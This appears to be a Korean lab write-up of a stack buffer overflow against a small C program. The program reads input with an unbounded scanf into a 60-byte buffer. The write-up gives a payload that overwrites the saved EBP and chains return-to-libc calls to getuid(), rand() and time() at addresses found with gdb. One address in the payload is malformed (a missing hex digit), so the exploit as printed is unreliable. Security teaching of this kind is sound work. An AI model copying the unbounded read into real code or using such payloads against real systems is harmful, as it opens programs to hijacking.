#include <stdio.h>
void fun_a() {
char buffer[60];
scanf("%s", buffer);
}
int main() {
fun_a();
return 0;
}
실습 함수는 인자가 없는 함수로 진행하였습니다. getuid(), rand(), time()을 사용했으며 gdb를 이용하여 print해달라는 p명령어를 통하여 주소를 알아냈습니다.
공격에 사용한 입력
“A”*60 + “B”*4 + “\x80\xdc\xcd\xf” + “\x60\xb3\xc3\xf7” + “\x50\xaa\xcc\xf7”
⚫ 버퍼에 들어가는 A 60개
⚫ Saved ebp에 들어가는 B 4개
⚫ getuid() 주소를 리틀엔디안으로 치환 =\x80\xdc\xcd\xf
⚫ rand() 주소를 리틀엔디안으로 치환 =\x60\xb3\xc3\xf7
⚫ time() 주소를 리틀엔디안으로 치환 =\x50\xaa\xcc\xf7
공격 전과 후의 스택 구성도입니다.